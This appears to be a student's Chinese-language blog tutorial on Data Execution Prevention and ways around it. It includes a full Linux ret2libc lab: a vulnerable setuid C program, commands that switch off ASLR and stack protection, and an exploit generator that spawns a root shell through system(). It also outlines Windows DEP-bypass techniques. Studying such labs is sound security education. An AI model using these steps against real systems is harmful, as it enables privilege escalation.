20155306 白皎 0day漏洞——漏洞利用原理之DEP

一、DEP机制的保护原理

1.为什么出现DEP?

溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

2.DEP是什么?

DEP-数据执行保护的缩写,DataExecutionPrevention。能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。

2.DEP工作原理是什么?

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

二、利用Ret2Lib绕过DEP

- Linux下利用Ret2Libc绕过DEP

原理分析

系统库函数通常是不受DEP保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。system函数是通过/bin/sh命令去执行一个用户执行命令或者脚本,因此,我们完全可以利用system来实现Shellcode的功能。

return-into-libc原理

攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。

攻击步骤

1.输入命令安装一些用于编译 32 位 C 程序的东西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2.输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。

关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及设置堆栈不可执行

gcc -z noexecstack -o test test.c  //栈不可执行

sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化



3.添加一个新用户,可以参考教程:linux中新建一个用户

4.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。

5.把以下漏洞代码保存为“retlib.c”文件,保存到 /tmp 目录下,并进行编译,设置。代码如下:


include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

6.编译上述程序编译该程序,并设置 SET-UID。

sudo su//获取root权限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行

chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作

exit

7.此外,我们还需要用到一个读取环境变量的程序,并通过 gcc -m32 -o getenvaddr getenvaddr.c进行编译。

include <stdio.h>
include <stdlib.h>
include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}

8.获得 BIN_SH 地址

export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

9.以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

10.获取 system 和 exit 地址

gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址



11.修改 exploit.c 文件,填上刚才找到的内存地址。删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。

12.首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。

问题

1.在编译retlib程序时,出现如下错误:bits/libs-header-start.h没有那个文件或目录

解决:下载sudo apt-get install lib32readline-gplv2-dev软件包,即可解决

- Windows下绕过DEP

突破思路:

既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode中的溢出部分找到替代指令(shellcode中0x90用于填充),进而使被覆盖的函数返回地址执行我们预定的指令,来关闭DEP或者对内存空间做一些新操作,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权),如下图:

在做实验之前,首先我们要明确实验环境。DEP有四种状态:

  • OptIn(选择启用,默认值):系统的默认设置是 OptIn 模式,在该设置下,仅为基本 Windows 程序和服务器用 DEP。
  • OptOut(选择禁用):如果在该对话框中选择,“为除下列程序之外的所有程序和服务启用”,则会将 DEP 设置为 OptOut 模式,在该模式下,DEP 提供了更广的保护范围。但同时也意味着增加了不兼容性的可能,因此,系统在提供了一个白名单列表,可以把产生冲突的程序(一般为系统级的程序、驱动等)添加到列表中,为这些程序关闭 DEP。
  • AlwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。
  • AlwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。

在这里,我们需要开启DEP,设置为optout模式。

三种有效绕过DEP的exploit的方法

  • 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行。

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。

我们只要构造一个符合函数结构体的栈帧,利用系统中已存在的关闭进程DEP的调用,构造参数来调用函数即可。

  • 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,然后再转入shellcode执行。

对所有程序默认开启DEP的情况下,如果一个程序自身偶尔需要从堆栈中取指令,就会发生错误。

函数VirtualProtect提供了修改内存属性的功能。只要我们在栈帧中布置好合适的参数,并让程序转入该函数执行,我们就可以将shellcode所在内存设置为可执行状态,从而绕过DEP。

  • 通过跳转到VIrtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。

函数VirtualAlloc可以用来申请一段具有可执行属性的内存。我们将Ret2Libc的第一条设置为该函数地址,然后将shellcode代码复制到申请的空间之中既可以绕过DEP。

参考文献:

[1]王清.《0day安全:软件漏洞分析技术》[M].中国:电子工业出版社,2008.

[2]王清.《0day安全:软件漏洞分析技术(第2版)》[M].中国:电子工业出版社,2011.

20155306 白皎 0day漏洞——漏洞利用原理之DEP的更多相关文章

  1. 20155306 白皎 0day漏洞——漏洞利用原理之GS

    20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...

  2. 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

    20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...

  3. 20155306 白皎 0day漏洞——基础知识

    20155306 白皎 0day漏洞--(第一篇)基础知识 写在前面: 本次免考实践方向是0day漏洞,以博客的形式记录了我的学习实践过程.第一篇博客主要围绕什么是0day漏洞以及一些以后学习中需要的 ...

  4. 20155306 白皎 0day漏洞——漏洞的复现

    一.Ubuntu16.04 (CVE-2017-16995) 1.漏洞概述 Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供 ...

  5. 20155306 白皎 《网络攻防》 Exp2 后门原理与实践

    20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...

  6. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  7. 20155306 白皎 《网络攻防》 EXP8 Web基础

    20155306 白皎 <网络攻防> EXP8 Web基础 一.问题回答 - 什么是表单 表单:一般用来收集用户的信息和反馈意见 表单包括两个部分:一部分是HTML源代码用于描述表单(例如 ...

  8. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  9. 20155306 白皎 《网络攻防》 EXP7 网络欺诈技术防范

    20155306 白皎 <网络攻防> EXP7 网络欺诈技术防范 问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 局域网内的攻击以及连接公众场所的共享wifi (2)在日常 ...

随机推荐

  1. Nginx的location剖析

    1.location的作用: location指令的作用是根据用户的请求的URL来执行不同的应用 2.location的语法: location [ = | ~ | ~* | ^~ ] uri { . ...

  2. Linux sudo 命令使用简介

    Linux sudo 命令使用简介 by:授客 QQ:1033553122 基本语法: $ sudo [-u username] [command] -u:将身份变成username的身份 #编辑/e ...

  3. IDEA报错:Error starting ApplicationContext. To display the auto-configuration report re-run your application with 'debug' enabled. ('crmWatcherService'错误)

    单表插入项目,插入前正常,插入后运行webapplication报错: run: debug: 于webapplication报错: Injection of autowired dependenci ...

  4. unityShader CGINCLUDE关键字

    unityshader中经常见到CGPROGRAM,除此之外还有一个CGINCLUDE关键字. 二个关键字都是用ENDCG来结束,但是用法完全不一样. CGINCLUDE和ENDCG内可以插入一些sh ...

  5. 使用代码段遍历,枚举类型Enum

    最近项目中定义了一些枚举类型,需要将枚举的键值传给前端,用于制作下拉菜单. 1.首先定义了枚举类型 public enum 请假类型 : int { 病假 = 1, 事假 = 2, 婚假 = 3, 产 ...

  6. 在 Azure VM 中使用应用商店映像创建 HPC Pack 群集的头节点

    使用 Azure 应用商店和 Azure 门户中的 Microsoft HPC Pack 2012 R2 虚拟机映像创建 HPC 群集的头节点. 此 HPC Pack VM 映像基于预安装了 HPC ...

  7. Oracle EBS AP 取消付款

    --取消付款 created by jenrry 20170425 declare l_return_status varchar2(50); l_msg_count number; l_msg_da ...

  8. C# 添加日志 log4net

    1.首先在项目中添加Nuget程序包... 2.然后在NuGet窗体中搜索Log4Net,然后点击安装<安装过程可能会持续几分钟,请耐心等待> 3.在项目中添加一个Config文件,如已有 ...

  9. UNIX高级环境编程(10)进程控制(Process Control)- 竞态条件,exec函数,解释器文件和system函数

    本篇主要介绍一下几个内容: 竞态条件(race condition) exec系函数 解释器文件    1 竞态条件(Race Condition) 竞态条件:当多个进程共同操作一个数据,并且结果依赖 ...

  10. Custom Voice 操作步骤

    首先,准备数据 1.Unicode格式的Transcript 2wav格式语音数据,并打包 好,现在POSTMAN进行api测试. 先拿着订阅密钥(Subscription Key)获取令牌(Toke ...